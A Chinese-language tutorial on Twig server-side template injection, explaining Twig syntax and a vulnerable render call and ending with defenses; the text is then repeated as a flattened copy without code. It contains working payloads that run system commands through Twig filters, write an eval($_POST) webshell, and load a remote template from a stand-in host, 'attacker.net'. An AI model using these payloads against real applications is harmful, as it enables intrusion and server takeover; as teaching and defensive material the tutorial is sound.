Twig 模板引擎注入详解
字数 683 2025-08-06 12:20:51

Twig 模板引擎注入(SSTI)详解

1. Twig 基础介绍

Twig 是一个 PHP 模板引擎,由 Symfony 开发人员创建,具有以下特点:

  • 快速:将模板编译为优化的 PHP 代码
  • 安全:具有沙盒模式评估不受信任的模板代码
  • 灵活:允许开发者定义自定义标记和过滤器

Twig 与 PHP 的区别

PHP 代码:

<?php echo $var ?>
<?php echo htmlspecialchars($var, ENT_QUOTES, 'UTF-8') ?>

Twig 等价代码:

{{ var }}
{{ var|escape }}
{{ var|e }} {# shortcut to escape a variable #}

2. Twig 模板设计

基本语法

  • {% %}:逻辑运算,程序运行
  • {{ }}:打印输出
  • {# #}:注释

变量操作

{{ foo.bar }}{{ foo['bar'] }}
{% set variable_name = value %}

过滤器

{{ name|striptags|title }}  {# 链式操作 #}
{{ list|join(', ') }}      {# 带参数 #}
{% apply upper %}...{% endapply %}

控制结构

{% for user in users %}
  <li>{{ user.username|e }}</li>
{% endfor %}

模板继承

基础模板 base.html.twig

<html>
<head>
  <title>{% block title %}{% endblock %}</title>
</head>
<body>
  {% block body %}{% endblock %}
</body>
</html>

子模板:

{% extends 'base.html.twig' %}
{% block title %}ikun{% endblock %}
{% block body %}jijijiji{% endblock %}

3. Twig SSTI 漏洞

漏洞形成原因

开发者使用未严格过滤的用户输入直接渲染模板:

$twig = new Twig_Environment($loader);
echo $twig->render("attack {$_GET['hacker']}");

漏洞探测

输入测试载荷:

hacker=Mic{# comment #}{{2*8}}OK

如果输出包含计算后的结果(如16),则存在SSTI漏洞。

4. 不同版本漏洞利用

Twig 1.x 版本

存在三个全局变量:

  • _self:引用当前模板实例
  • _context:引用当前上下文
  • _charset:引用当前字符集

利用方法

  1. setCache() 方法利用
{{_self.env.setCache("ftp://attacker.net:xxxx")}}
{{_self.env.loadTemplate("恶意模板名")}}
  1. getFilter() 方法利用
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

Twig 2.x & 3.x 版本

map 过滤器利用

{{["ls"]|map("system")}}
{{{"<?php @eval($_POST['attack']);?>":"文件地址"}|map("file_put_contents")}}

filter 过滤器利用

{{["id"]|filter("system")}}
{{["id"]|filter("passthru")}}

reduce 过滤器利用

{{[0, 0]|reduce("system", "id")}}

sort 过滤器利用

{{["id", 0]|sort("system")}}

5. 防御措施

  1. 避免直接渲染用户输入
  2. 使用安全的模板渲染方式:
$twig->render('template.html', ['var' => $user_input]);
  1. 及时更新Twig到最新版本
  2. 启用Twig的沙盒模式限制可用功能

参考资源

  • Twig官方文档
  • TWIG全版本通用SSTI payloads
  • Twig模板注入攻击(SSTI)的原理和扫描检测方法
Twig 模板引擎注入(SSTI)详解 1. Twig 基础介绍 Twig 是一个 PHP 模板引擎,由 Symfony 开发人员创建,具有以下特点: 快速 :将模板编译为优化的 PHP 代码 安全 :具有沙盒模式评估不受信任的模板代码 灵活 :允许开发者定义自定义标记和过滤器 Twig 与 PHP 的区别 PHP 代码: Twig 等价代码: 2. Twig 模板设计 基本语法 {% %} :逻辑运算,程序运行 {{ }} :打印输出 {# #} :注释 变量操作 过滤器 控制结构 模板继承 基础模板 base.html.twig : 子模板: 3. Twig SSTI 漏洞 漏洞形成原因 开发者使用未严格过滤的用户输入直接渲染模板: 漏洞探测 输入测试载荷: 如果输出包含计算后的结果(如16),则存在SSTI漏洞。 4. 不同版本漏洞利用 Twig 1.x 版本 存在三个全局变量: _self :引用当前模板实例 _context :引用当前上下文 _charset :引用当前字符集 利用方法 setCache() 方法利用 getFilter() 方法利用 Twig 2.x & 3.x 版本 map 过滤器利用 filter 过滤器利用 reduce 过滤器利用 sort 过滤器利用 5. 防御措施 避免直接渲染用户输入 使用安全的模板渲染方式: 及时更新Twig到最新版本 启用Twig的沙盒模式限制可用功能 参考资源 Twig官方文档 TWIG全版本通用SSTI payloads Twig模板注入攻击(SSTI)的原理和扫描检测方法